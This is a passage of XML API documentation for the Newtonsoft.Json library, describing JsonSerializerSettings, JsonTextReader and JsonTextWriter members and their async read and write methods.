text.\n            The default value is <see cref=\"F:Newtonsoft.Json.StringEscapeHandling.Default\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.Culture\">\n            <summary>\n            Gets or sets the culture used when reading JSON.\n            The default value is <see cref=\"P:System.Globalization.CultureInfo.InvariantCulture\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.CheckAdditionalContent\">\n            <summary>\n            Gets a value indicating whether there will be a check for additional content after deserializing an object.\n            The default value is <c>false</c>.\n            </summary>\n            <value>\n            \t<c>true</c> if there will be a check for additional content after deserializing an object; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializerSettings.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> class.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonTextReader\">\n            <summary>\n            Represents a reader that provides fast, non-cached, forward-only access to JSON text data.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns <c>true</c> if the next token was read successfully; <c>false</c> if there are no more tokens to read.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsBooleanAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/>.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns the <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/>. This result will be <c>null</c> at the end of an array.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsBytesAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source as a <see cref=\"T:System.Byte\"/>[].\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns the <see cref=\"T:System.Byte\"/>[]. This result will be <c>null</c> at the end of an array.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsDateTimeAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns the <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>. This result will be <c>null</c> at the end of an array.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsDateTimeOffsetAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/>.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns the <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/>. This result will be <c>null</c> at the end of an array.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsDecimalAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/>.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns the <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/>. This result will be <c>null</c> at the end of an array.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsDoubleAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/>.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns the <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/>. This result will be <c>null</c> at the end of an array.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsInt32Async(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/>.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns the <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/>. This result will be <c>null</c> at the end of an array.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsStringAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source as a <see cref=\"T:System.String\"/>.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns the <see cref=\"T:System.String\"/>. This result will be <c>null</c> at the end of an array.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.#ctor(System.IO.TextReader)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonTextReader\"/> class with the specified <see cref=\"T:System.IO.TextReader\"/>.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:System.IO.TextReader\"/> containing the JSON data to read.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonTextReader.PropertyNameTable\">\n            <summary>\n            Gets or sets the reader's property name table.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonTextReader.ArrayPool\">\n            <summary>\n            Gets or sets the reader's character buffer pool.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.Read\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:System.IO.TextReader\"/>.\n            </summary>\n            <returns>\n            <c>true</c> if the next token was read successfully; <c>false</c> if there are no more tokens to read.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsInt32\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:System.IO.TextReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsDateTime\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:System.IO.TextReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsString\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:System.IO.TextReader\"/> as a <see cref=\"T:System.String\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.String\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsBytes\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:System.IO.TextReader\"/> as a <see cref=\"T:System.Byte\"/>[].\n            </summary>\n            <returns>A <see cref=\"T:System.Byte\"/>[] or <c>null</c> if the next JSON token is null. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsBoolean\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:System.IO.TextReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsDateTimeOffset\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:System.IO.TextReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsDecimal\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:System.IO.TextReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsDouble\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:System.IO.TextReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.Close\">\n            <summary>\n            Changes the reader's state to <see cref=\"F:Newtonsoft.Json.JsonReader.State.Closed\"/>.\n            If <see cref=\"P:Newtonsoft.Json.JsonReader.CloseInput\"/> is set to <c>true</c>, the underlying <see cref=\"T:System.IO.TextReader\"/> is also closed.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.HasLineInfo\">\n            <summary>\n            Gets a value indicating whether the class can return line information.\n            </summary>\n            <returns>\n            \t<c>true</c> if <see cref=\"P:Newtonsoft.Json.JsonTextReader.LineNumber\"/> and <see cref=\"P:Newtonsoft.Json.JsonTextReader.LinePosition\"/> can be provided; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonTextReader.LineNumber\">\n            <summary>\n            Gets the current line number.\n            </summary>\n            <value>\n            The current line number or 0 if no line information is available (for example, <see cref=\"M:Newtonsoft.Json.JsonTextReader.HasLineInfo\"/> returns <c>false</c>).\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonTextReader.LinePosition\">\n            <summary>\n            Gets the current line position.\n            </summary>\n            <value>\n            The current line position or 0 if no line information is available (for example, <see cref=\"M:Newtonsoft.Json.JsonTextReader.HasLineInfo\"/> returns <c>false</c>).\n            </value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonTextWriter\">\n            <summary>\n            Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.FlushAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously flushes whatever is in the buffer to the destination and also flushes the destination.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueDelimiterAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the JSON value delimiter.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteEndAsync(Newtonsoft.Json.JsonToken,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the specified end token.\n            </summary>\n            <param name=\"token\">The end token to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.CloseAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously closes this writer.\n            If <see cref=\"P:Newtonsoft.Json.JsonWriter.CloseOutput\"/> is set to <c>true</c>, the destination is also closed.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteEndAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the end of the current JSON object or array.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteIndentAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes indent characters.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteIndentSpaceAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes an indent space.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteRawAsync(System.String,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes raw JSON without changing the writer's state.\n            </summary>\n            <param name=\"json\">The raw JSON to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteNullAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a null value.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WritePropertyNameAsync(System.String,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the property name of a name/value pair of a JSON object.\n            </summary>\n            <param name=\"name\">The name of the property.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WritePropertyNameAsync(System.String,System.Boolean,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the property name of a name/value pair of a JSON object.\n            </summary>\n            <param name=\"name\">The name of the property.</param>\n            <param name=\"escape\">A flag to indicate whether the text should be escaped when it is written as a JSON property name.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteStartArrayAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the beginning of a JSON array.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteStartObjectAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the beginning of a JSON object.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteStartConstructorAsync(System.String,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the start of a constructor with the given name.\n            </summary>\n            <param name=\"name\">The name of the constructor.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteUndefinedAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes an undefined value.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteWhitespaceAsync(System.String,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the given white space.\n            </summary>\n            <param name=\"ws\">The string of white space characters.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Boolean,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Nullable{System.Boolean},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Boolean\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Boolean\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Byte,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Byte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Nullable{System.Byte},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Byte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Byte\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Byte[],System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Byte\"/>[] value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/>[] value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Char,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Char\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Char\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Nullable{System.Char},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Char\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Char\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.DateTime,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.DateTime\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.DateTime\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Nullable{System.DateTime},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.DateTimeOffset,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.DateTimeOffset\"/> value.\n            </summary>\n            <param name=\"value\">The <see 